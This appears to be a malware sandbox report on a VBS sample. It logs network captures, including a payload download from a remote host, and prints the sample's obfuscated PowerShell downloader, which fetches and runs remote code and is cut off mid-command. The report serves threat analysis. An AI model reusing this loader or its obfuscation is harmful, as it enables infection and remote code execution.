PDQHzK0YWPpOW4DBx+79QjkOMH08mRAg/zQfEUYY5B+i16ITRhiYaOS8GgW6Eam0QzdtAq3vaEhy9ZnDx4iiEwDtLje0q6ICRt1rQLHDGvAWV3FpRu18rB7MElY475vDRpPTGFzum8xDdpvCx1TaUgI+GjH/nEddRhwhKLDXGjo2HyOxRizaNFZmGz+m70hIUhGaw8fWb/seKZgxPUNAQrqavarH7pROAg5kPEbd9KWujRrwnv4Qa0bFQKPAAP1
2024-12-19 11:47:58 UTC	16384	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 52 67 38 48 43 73 50 48 37 71 4d 74 51 78 4c 7a 67 6f 79 34 34 6b 63 34 62 2b 61 33 6d 75 43 62 77 38 68 6a 4b 48 4d 34 45 52 72 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARg8HCsPH7qMtQxLzgoy44kc4b+a3muCbw8hjKHM4ERr
2024-12-19 11:47:58 UTC	16384	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 11:47:58 UTC	16384	IN	Data Raw: 50 64 44 4a 79 71 43 75 45 6b 36 6a 37 4a 76 44 6f 64 64 54 53 67 61 2f 45 45 36 6a 37 4a 76 44 54 6d 74 79 77 73 66 75 4d 6d 79 37 53 61 5a 37 62 43 35 32 32 30 59 52 34 35 47 33 31 61 35 62 77 36 38 38 52 68 54 62 34 49 76 39 4d 42 71 2b 73 30 73 71 77 38 66 68 46 4f 6d 57 45 57 54 75 67 32 49 4e 6f 71 46 72 53 35 4e 4d 61 33 4c 43 78 2b 34 66 4e 2f 38 74 45 69 74 4f 63 37 50 42 78 2b 34 67 47 5a 62 64 76 45 4b 36 70 73 30 51 78 2b 36 55 52 31 61 65 6d 38 4e 44 50 68 6f 77 38 4e 41 6f 57 30 59 64 59 63 59 49 6b 78 34 5a 52 69 31 79 56 58 66 54 48 7a 54 47 4e 68 42 65 37 2b 79 62 77 30 35 62 42 73 4c 48 37 68 49 46 6b 57 55 75 58 73 62 75 6d 2f 73 67 75 53 51 65 6e 59 6d 43 51 44 6a 72 6c 45 65 57 4a 4a 6e 44 6d 47 64 7a 53 6c 66 71 6d 73 50 48 5a 77 62 Data Ascii: PdDJyqCuEk6j7JvDoddTSga/EE6j7JvDTmtywsfuMmy7SaZ7bC5220YR45G31a5bw688RhTb4Iv9MBq+s0sqw8fhFOmWEWTug2INoqFrS5NMa3LCx+4fN/8tEitOc7PBx+4gGZbdvEK6ps0Qx+6UR1aem8NDPhow8NAoW0YdYcYIkx4ZRi1yVXfTHzTGNhBe7+ybw05bBsLH7hIFkWUuXsbum/sguSQenYmCQDjrlEeWJJnDmGdzSlfqmsPHZwb
2024-12-19 11:47:58 UTC	16384	IN	Data Raw: 2f 44 58 53 6d 72 64 6c 66 7a 56 51 77 64 2b 64 6e 66 78 38 6e 76 4e 71 32 6d 4b 73 52 68 66 73 7a 4a 56 6b 64 4d 66 6d 6d 38 4d 34 57 35 50 43 78 2b 35 58 30 45 57 72 61 44 48 77 57 44 74 6c 2f 53 69 4c 77 73 41 37 2b 31 6b 63 76 4f 54 4a 4c 76 70 48 2b 43 77 52 37 76 38 76 55 67 48 42 78 79 4c 36 6f 42 6b 43 48 54 31 4f 32 2f 62 44 57 70 69 6f 43 57 45 70 75 70 4b 4b 77 44 6e 5a 70 73 46 4b 53 61 62 4b 34 53 4c 41 2b 30 73 6f 4a 76 55 79 75 56 64 65 45 6b 62 6a 37 4a 76 44 66 31 35 63 68 47 63 69 30 32 76 64 79 59 67 74 64 70 65 62 56 47 31 45 6a 69 37 79 4c 6e 4b 58 77 4e 75 65 35 52 37 34 72 71 48 50 4a 4f 71 56 65 66 41 35 67 33 46 76 62 59 43 46 43 66 56 43 41 64 38 2b 66 39 4a 76 62 55 39 38 75 59 52 43 41 52 42 5a 44 38 6d 35 42 30 6f 67 35 36 78 Data Ascii: /DXSmrdlfzVQwd+dnfx8nvNq2mKsRhfszJVkdMfmm8M4W5PCx+5X0EWraDHwWDtl/SiLwsA7+1kcvOTJLvpH+CwR7v8vUgHBxyL6oBkCHT1O2/bDWpioCWEpupKKwDnZpsFKSabK4SLA+0soJvUyuVdeEkbj7JvDf15chGci02vdyYgtdpebVG1Eji7yLnKXwNue5R74rqHPJOqVefA5g3FvbYCFCfVCAd8+f9JvbU98uYRCARBZD8m5B0og56x
2024-12-19 11:47:58 UTC	16384	IN	Data Raw: 75 30 56 79 42 51 73 67 34 73 37 47 55 6d 49 30 33 30 64 72 55 52 4e 46 51 31 33 49 62 68 4a 65 32 75 79 62 77 77 73 4c 61 73 72 30 57 45 77 74 76 34 68 59 6e 78 6e 55 65 34 67 67 56 76 36 76 6b 42 5a 7a 59 56 73 32 51 73 42 7a 39 4e 78 65 54 4c 4b 2f 79 30 51 56 6a 30 68 61 38 35 6e 44 78 2b 45 55 54 4d 50 75 6d 30 70 53 68 35 6e 44 78 31 52 6b 49 62 78 63 56 37 38 73 4d 56 5a 7a 76 58 58 4b 75 78 39 65 30 2b 68 34 6d 30 52 31 4b 47 50 34 42 39 45 39 37 64 71 47 45 52 67 43 4f 42 35 42 37 5a 49 62 69 32 4f 58 75 64 6c 48 35 72 47 59 54 6a 4f 4a 36 70 42 38 4f 42 66 36 63 57 39 6f 4a 30 65 54 7a 6b 49 30 2b 48 37 39 66 47 39 6f 58 70 55 52 34 6b 49 45 71 64 36 35 47 62 6b 48 53 69 44 6e 68 46 36 68 31 31 4b 39 32 64 75 5a 37 47 59 66 63 31 56 6e 59 71 67 Data Ascii: u0VyBQsg4s7GUmI030drURNFQ13IbhJe2uybwwsLasr0WEwtv4hYnxnUe4ggVv6vkBZzYVs2QsBz9NxeTLK/y0QVj0ha85nDx+EUTMPum0pSh5nDx1RkIbxcV78sMVZzvXXKux9e0+h4m0R1KGP4B9E97dqGERgCOB5B7ZIbi2OXudlH5rGYTjOJ6pB8OBf6cW9oJ0eTzkI0+H79fG9oXpUR4kIEqd65GbkHSiDnhF6h11K92duZ7GYfc1VnYqg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49771	103.120.177.150	443	2780	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 11:48:31 UTC	181	OUT	GET /ms/ms.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: www.royalengineeringllc.com Cache-Control: no-cache
2024-12-19 11:48:32 UTC	223	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 11:48:30 GMT Server: Apache Last-Modified: Thu, 25 Jan 2024 11:51:24 GMT Accept-Ranges: bytes Content-Length: 585792 Connection: close Content-Type: application/octet-stream
2024-12-19 11:48:32 UTC	7969	IN	Data Raw: ce 01 2f ff e2 e6 32 e2 80 ba 1e f1 64 76 d6 e1 39 82 cd 6c 01 44 c8 d6 f4 73 2f 51 24 0c c5 a9 67 0d 83 fa e2 c5 50 2a 4d 5e 89 78 8b 98 d6 c6 d1 f0 b1 b3 5a a5 e3 43 08 f5 e8 5a de 5c 6e ae 9c bb c3 14 35 12 c7 67 a1 95 db e6 95 21 df f7 ac 21 39 8f 16 ad af 09 74 71 46 41 7c d3 e5 4d ee fe 67 ca 30 57 75 ed 3b 37 82 02 cd 1d fd 41 df 10 af ae 99 59 7e 2f 2f a9 d3 b8 fe 77 9c 26 c2 99 8f 17 cd a6 e1 ac ad 34 dc a7 0d 41 c6 20 87 89 fc 58 42 d9 7d 4c 73 9c d0 ba 9b 05 65 d7 a4 6a a8 37 74 5a d9 87 ec fe 8b 14 51 5f f4 9d ce 77 bd 8f b5 1a 47 5a 45 ce 97 77 6c 85 5b a3 c2 c6 98 0b ae 47 42 df d1 86 5c 5f 3a 2b 0a 3e fe 82 b1 07 98 4b 8e 7e 8b d5 ba a2 18 a0 0e 0a 14 c7 77 e5 ec 6c b4 92 8b 57 cd 14 18 b4 0a 6a 9d 76 cb 20 0e 5f 08 dc 2d d4 bf fa 0f af 33 Data Ascii: /2dv9lDs/Q$gP*M^xZCZ\n5g!!9tqFA\|Mg0Wu;7AY~//w&4A XB}Lsej7tZQ_wGZEwl[GB\_:+>K~wlWjv _-3
2024-12-19 11:48:32 UTC	8000	IN	Data Raw: aa 7e a6 60 ca bf 57 0d be 7b 58 d3 10 19 ef 8f 2a 05 40 8d 0f d0 ae 4b 89 8a 5f 6c 51 41 a7 8b a4 ca 63 31 8b b3 f4 ed b3 8b 8f bb 52 b6 16 ba e1 f7 b8 c4 32 77 10 24 45 ab 94 3e d6 c4 d4 77 38 eb a7 58 40 07 98 85 48 0c ce ee ee b4 2f 69 7a e6 f7 97 eb 2b 36 fd 3e 64 44 6a 30 39 f2 cb 37 07 8e 25 da 54 ac 80 0d 32 f3 48 99 df 8f df 4b 61 08 6f dc 6d f4 60 cf 2b 7d 45 a2 4c 61 79 b6 e2 42 73 ea 8e 39 1a bd c2 cc 00 65 72 7e 3f 7c 00 41 be dd e3 4d 7d aa 5a ff 1f e5 8d 3c 92 03 e6 7a 7d e1 80 42 71 7f 1d 81 18 af 70 4d 68 b2 fd a8 dd df 11 c2 6a 48 fc d9 e9 0a b9 25 50 64 b8 b8 4e 82 6c 6c 4b 2d bd 2c 4a 04 3d 97 47 a0 03 a8 84 de 75 a4 54 e5 da 5d 10 b8 e8 10 08 5b d5 dc 02 4c b0 2d dd d1 6d a5 81 81 36 f9 31 b1 df 1d 6c 45 19 f5 98 5e 1c f4 8b e9 c5 be Data Ascii: ~`W{X*@K_lQAc1R2w$E>w8X@H/iz+6>dDj097%T2HKaom`+}ELayBs9er~?\|AM}Z<z}BqpMhjH%PdNllK-,J=GuT][L-m61lE^
2024-12-19 11:48:32 UTC	8000	IN	Data Raw: ed 1d ab 71 06 1e f4 9d ff fb 8f 7b aa 84 32 c2 68 61 c5 71 ab f6 24 cf ee 63 ee a7 0b fe a3 7c 75 b7 17 19 0e ab 5a 1e a0 64 ab ab 1a 8d ff 86 4c 9c b3 dd 3b 35 a1 95 47 f1 ec 25 3a 44 6a ba 10 a3 a5 6f fb 8a 34 b3 0d 28 1d a0 3d 51 23 1e 6c e0 ac 9a b7 a9 db df 21 59 db f8 d8 b4 63 ec 63 74 10 7f b6 1b 8d 91 06 82 54 06 6e be ca 2e 93 ca 3c a1 6a f5 48 05 4a 1d 66 a9 87 75 b2 8c bd a3 21 80 2b c9 ca ff 79 99 0d c3 8d 64 48 cf 5f 6e d4 fb 2c 9a a6 c0 8b bf 2e d2 03 61 0d 96 df eb 7c 48 b3 b6 7e 16 76 2c 87 44 e1 99 05 d8 0c 81 f3 c3 76 57 cb ab 9c 4f db 43 03 b3 b0 3c 7b 73 33 6b 47 70 4a 08 0e 92 c2 3c 25 78 e7 a6 5f 0a f7 7a 6c d7 cc 65 96 bc 87 b9 24 f6 b1 ac 4d c8 c7 e3 d5 56 c0 85 23 1e 3d 46 2b fa d6 18 ac 07 cc d7 a7 21 cf a2 e5 d5 69 ae dd 1f 7c Data Ascii: q{2haq$c\|uZdL;5G%:Djo4(=Q#l!YcctTn.<jHJfu!+ydH_n,.a\|H~v,DvWOC<{s3kGpJ<%x_zle$MV#=F+!i\|
2024-12-19 11:48:32 UTC	8000	IN	Data Raw: 2b 2f 4a 1d f1 06 10 9a ef e0 8f 9c 50 d3 1f 46 32 e2 2e 89 8d ea 34 f8 3f d2 7f f5 0e 74 bb 89 05 cb 7e 54 fe 7c c5 44 9f 5a b5 0a 82 bf fe 0e f4 4c e0 98 16 c3 8b 18 25 9a c5 7a 16 22 f7 7b c3 a8 ff 39 70 2d b6 1d fb af 5b 88 5b f4 8f a2 52 eb 20 f6 b6 79 78 76 6f 24 d3 73 42 17 1f ae ce 99 de be e3 5b 9e db 3f e9 1a a0 fc 66 44 f5 d5 86 47 74 6b fa d6 7e 75 0a 55 5b f8 c3 15 4a cc fc 8e 7c 18 e8 a1 7c cd 70 9e 29 a1 27 76 6e 72 b9 b8 21 55 03 08 a3 36 5b b0 cf 37 a6 f4 70 48 98 53 48 e9 91 24 29 8e 7a e1 5c cf 2c 0a 10 cb 30 1c 39 f2 8b 96 ee 3a cb a1 75 71 4a 68 18 26 85 78 b3 b4 32 f7 22 5c 80 98 c3 36 39 62 ac 96 4e 8f 3a ee 34 14 ab 66 e2 06 fa d3 58 24 23 4c 9f bf ce 59 46 16 5b 4b 01 00 2e 2c af 38 93 b3 fa df d7 33 38 38 b7 8f 21 46 f5 ef 35 8f Data Ascii: +/JPF2.4?t~T\|DZL%z"{9p-[[R yxvo$sB[?fDGtk~uU[J\|\|p)'vnr!U6[7pHSH$)z\,09:uqJh&x2"\69bN:4fX$#LYF[K.,8388!F5
2024-12-19 11:48:32 UTC	8000	IN	Data Raw: 08 25 a1 7f e6 aa ce 3c 5d 44 8b 23 84 2c b0 70 b6 d4 25 b6 5d ec b3 35 e9 49 aa 77 8c 57 c2 1f ab 6e 26 f5 5e 8a fb 74 94 54 4c 5d 66 b3 4b 68 75 4b 0b 61 51 13 1c 71 c3 be c8 a8 91 5e 0e 35 45 0e 94 7f 7d 9a 48 49 f7 53 2a ef 79 dd 3f 2b da 67 e3 a3 64 17 62 55 29 89 6a ec ee b1 d3 a8 45 32 e8 d4 bf b8 ee ee e8 ee d1 bf b0 b1 ce b7 50 fe 22 06 d4 cc 61 72 21 6e f8 02 26 4e 09 2b 29 a9 08 8b 10 de 39 c8 23 c2 89 76 e4 93 28 f2 68 a1 cb 42 60 38 3f b4 90 85 31 00 6b 63 42 c3 ca 0f 13 11 aa 49 91 1c 18 27 2f 38 f0 8e 33 f8 c4 6f da c1 44 6a b8 00 9a 0e f9 d7 5d b5 bd b6 a8 14 31 e5 0b d8 51 be 85 97 04 35 26 c0 f7 65 e0 ea 4d 93 8f 22 a7 d0 a4 db e6 62 c1 9d 60 c8 2e c5 be bb f0 2b a5 2b fa db a4 9a 66 01 f5 70 70 81 76 0d fa 93 4e f1 0a 94 59 3f 49 96 e4 Data Ascii: %<]D#,p%]5IwWn&^tTL]fKhuKaQq^5E}HIS*y?+gdbU)jE2P"ar!n&N+)9#v(hB`8?1kcBI'/83oDj]1Q5&eM"b`.++fppvNY?I
2024-12-19 11:48:32 UTC	8000	IN	Data Raw: 80 fd 7e 2d ff e4 36 3a 00 74 57 63 ea 3e cf d5 56 f1 48 32 5d b6 63 ed 62 37 bb d0 a0 6c ae 31 3a 1d 31 ae da 51 2c 9c e5 8a e2 12 95 65 5c bc 38 0d 5b 7a c9 39 6c c2 e6 1b 56 e3 59 58 87 f1 2f 42 c4 f6 66 a8 c9 5d d7 c0 fc 49 10 53 2b e6 49 21 2f b2 39 05 91 5c 9f a0 44 d8 9d ce 1d ac 0d 76 9c 84 d5 44 b8 e5 b5 c4 e5 39 12 0f bc b0 c7 af c2 f3 d2 dd 8d 8c 8b 1c 71 52 21 bb e4 69 1b a1 7f e0 0a 08 f5 5c 34 91 67 44 c0 ba 32 75 10 e2 08 ff 21 be f3 d5 a9 bf 2d 15 24 42 10 68 09 a6 c2 87 5b e8 d3 51 d3 49 ac 19 fb 4d 6d 36 30 19 de d3 2e de b4 7c 5b ce ed f5 e8 e1 af d4 41 51 f5 19 1e 8a 8a 6e 53 6e 2a 4a 15 ab 2a 77 82 e5 e0 00 c8 d0 cf 6c 99 af 66 2a 5b 52 c2 c4 35 ee 23 76 a2 cd 8b e4 8c 27 fe 4f 2e 34 d2 5c d9 e7 4e 36 94 15 f3 26 2d 3c 10 a7 d4 88 8c Data Ascii: ~-6:tWc>VH2]cb7l1:1Q,e\8[z9lVYX/Bf]IS+I!/9\DvD9qR!i\4gD2u!-$Bh[QIMm60.\|[AQnSnJwlf*[R5#v'O.4\N6&-<
2024-12-19 11:48:32 UTC	8000	IN	Data Raw: 45 90 9e 41 d4 03 e5 6d 35 03 64 39 5b cb 82 b4 57 24 ef 84 93 7f 6d b2 ab 1e bb 77 1f 91 e1 64 85 cd 2c 0e fb a8 82 f8 23 3c 85 6d 17 f2 34 88 ab f2 80 56 d8 82 72 07 81 a9 d4 f6 c5 96 5a 99 db 2e ae 51 7a 9d 61 95 ac 16 54 97 16 b9 8c 20 3b 9e e3 fd 5a f3 7a 25 21 ce ea b4 f4 9a 68 1f 1d a5 ce b7 86 b8 dc 63 ec 33 ce 43 98 a9 32 88 a0 e8 48 31 da 0e b0 41 dd 73 2a d1 39 ee 3b 4f 72 1b a4 1b 64 02 5f b9 66 de 31 d0 ad 83 c3 f5 36 09 30 63 89 30 a5 34 d5 ea 5b fc cb 7f b8 7d f7 47 ea 23 82 04 32 9b 8d 24 13 3a 33 02 db 8b 28 82 d7 0e dc 62 2f 4d 3e 77 26 c8 62 4f b7 f5 28 c4 73 40 62 73 5e 71 67 29 c0 82 73 0e a7 b0 e8 95 6d 55 d0 e6 b6 49 2f 31 8e 8e 5f bd 6a 57 81 5e ae 83 89 10 e4 f0 f7 d7 89 5f 08 ba e7 19 ed 0e 57 74 5a 7d e7 58 d8 fe 36 1c a0 65 c2 Data Ascii: EAm5d9[W$mwd,#<m4VrZ.QzaT ;Zz%!hc3C2H1As*9;Ord_f160c04[}G#2$:3(b/M>w&bO(s@bs^qg)smUI/1_jW^_WtZ}X6e
2024-12-19 11:48:32 UTC	8000	IN	Data Raw: a2 e7 e7 23 cf e0 00 f0 fb 3d f4 54 3f 9e 14 18 7b 09 47 01 c2 95 05 1a ae 29 46 85 98 ab db 3a f2 46 53 1a 54 8f 99 9e a1 d0 a7 01 ec e5 45 84 24 10 7c be 12 02 10 36 e3 10 a1 47 70 81 62 39 65 f4 3e ea dd a2 e5 20 49 ec bd 9c cd e1 05 fc 68 85 04 e6 d3 d3 7f 4b c1 9a 94 94 04 a5 77 3b 7f 05 51 19 67 0e 41 b2 81 ad 7c 24 2d af f0 68 55 29 a0 b0 f0 5f 81 62 b4 d5 b3 bd 8e 5f e5 48 d5 5e ff 11 cc b2 0c 37 79 f7 7d 9e f8 ed 4b 55 e6 bf 56 42 fe bd 11 ee de b1 f7 15 55 86 5d 87 d6 fd 4a 3b 87 e8 bc e3 b3 48 ef 0b f3 39 ef a2 f0 84 1a 5a 07 91 af 05 18 e4 12 2b c0 d8 8c dc 26 69 98 14 55 69 f2 be 14 a0 4f 94 29 8d 2c fd 6b e7 2b 71 ff 2c e7 e4 a9 0f b2 f1 e3 ed 98 ed 49 93 b5 d7 dd d0 e5 ef 3a 59 c6 ae 3b d7 8e e5 8c 47 eb 20 57 31 46 9e b6 d5 18 76 f9 d1 18 Data Ascii: #=T?{G)F:FSTE$\|6Gpb9e> IhKw;QgA\|$-hU)_b_H^7y}KUVBU]J;H9Z+&iUiO),k+q,I:Y;G W1Fv
2024-12-19 11:48:32 UTC	8000	IN	Data Raw: d2 e7 12 1d 5a 3f 2c 69 5a fc 32 67 15 52 e8 96 be 4d e9 02 6b 9b 8e f1 f7 66 5b 60 92 48 ee fb a8 0c 20 3d 5e 1a 1a 7a 8c fd ea f2 fc 47 59 0e ee 5a 55 5c 88 e1 cd e3 c1 24 9e 54 83 ad 20 e0 db 96 47 16 3e 74 71 45 c3 53 7c 43 5a 4f 7f f4 2b d6 92 de ad d4 88 16 b1 dc f3 ff 27 f9 c8 0d 58 a6 0b 9f a3 b9 51 59 59 5f 0c 74 23 cd 83 8e cf 71 0a c9 c8 31 b0 4e 78 07 1d 60 27 ab 64 60 24 fc c6 c9 e6 7f f2 41 0f b0 93 fb 11 d0 89 9f ba 05 c2 a6 94 40 29 fe da 0b 22 5d 2c 2b 19 23 44 9f 7f 58 a8 5c 86 7a d8 e5 c2 88 e4 05 e9 20 e7 38 7e c5 cf 79 1e 71 af c0 c0 77 82 b6 fd ef 7e d9 d1 95 05 20 e7 6f d4 97 de 0e 24 c2 1e f7 a2 d0 b8 d3 d3 3a 7e b2 4a 14 9b c6 82 b2 70 fe 13 cc fc 61 08 16 f2 15 ac 61 14 69 2f f0 f5 50 eb 63 a2 d5 9d 42 fc b4 d5 b3 1d 48 29 d7 5f Data Ascii: Z?,iZ2gRMkf[`H =^zGYZU\$T G>tqES\|CZO+'XQYY_t#q1Nx`'d`$A@)"],+#DX\z 8~yqw~ o$:~Jpaai/PcBH)_
2024-12-19 11:48:32 UTC	8000	IN	Data Raw: 8b 97 b1 71 32 55 bc 40 42 77 57 e1 06 ea 53 e9 ee f2 2d e3 0b 8c f9 37 1e 40 f1 bf f8 05 69 39 2b 69 37 c7 99 d2 e1 83 77 0e e6 a6 68 2d d8 2c b6 79 a4 8a e7 a7 c0 fa b2 80 9b 14 b5 df 4a 2b cc 20 dc d1 7a 08 9f fd 1b b4 08 33 27 d1 e1 53 14 36 12 c7 67 a5 95 db e6 6a de df f7 14 21 39 8f 16 ad af 09 34 71 46 41 7c d3 e5 4d ee fe 67 ca 30 57 75 ed 3b 37 82 02 cd 1d fd 41 df 10 af ae 99 59 7e 2f 2f a9 d3 b8 16 77 9c 26 cc 86 35 19 cd 12 e8 61 8c 8c dd eb c0 60 92 48 ee fa dc 28 30 b6 1a 3e 12 f1 f0 d9 fa 6b 0b b8 d0 4a ca 52 54 28 ac e9 cc 97 e5 34 15 10 a7 bd a3 18 d9 ea 9b 17 4a 50 61 ce 97 77 6c 85 5b a3 b9 f0 1a 9d 91 10 ae 1a ee d1 b0 9a 05 7c e6 fb ae ca 59 c2 a5 1c 62 bb 37 9e 58 67 24 f7 e2 cf 44 8f 91 20 d8 3b 58 57 77 0f 7c d1 2c e3 e6 af a2 21 Data Ascii: q2U@BwWS-7@i9+i7wh-,yJ+ z3'S6gj!94qFA\|Mg0Wu;7AY~//w&5a`H(0>kJRT(4JPawl[\|Yb7Xg$D ;XWw\|,!

Target ID:	0
Start time:	06:47:44
Start date:	19/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\F8HYX5HOgA.vbs"
Imagebase:	0x7ff6ed260000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:47:45
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-BreakthSAmphibil SkremaecarnifieCloverlpKursusf Reklaps1 Injuri}Oversate UnderwlTotalvgs TiresreErsalfa{SammenhSAlansbotFacettea Syphilr forerutPreulti-AncyroiSCassocklArbejdseSluicedeEarthsepAndenda Mlterrn1Kommena;SexagesFCirkusmu KonklunnonfinidContagimFrynsenoSheiladnsaltishgAttribu Moniti$Ventoseb Verniee LowerskGangliorHeteropaZoopatheFlettonfHoefligtMendelieJoshrou0Selvbet0Fotogra}Fagudda ');Fundmong (Krse ' Udledn$FarrisagGroteskl PresteoSkalperbValnddeaUnscrewl Piezom: FortalC LyderurKingleau BlockasparathyaStrandhdIntensioOlympiavHaandpaaMystacaeChasses7Irregja=Danefst(BinderiT RektoreCooreeus PaagretArtisko- LuftruPUnpropia Fodgngt DorylihKontakt Mathiah$OutmeasCTriartirUnasceruKnistensConjureaNormeridScriptuo BlgetrvPostlapaSlagsvre bookpr2 Overvr)Stakero ') ;}Fundmong (Krse 'estriat$GubbinsgEltonkllHermeneo BlidgrbDemissia SubjeklLuftala:AbrasaxGanuextraSkriveuzDisgusteFinansgnKristjap 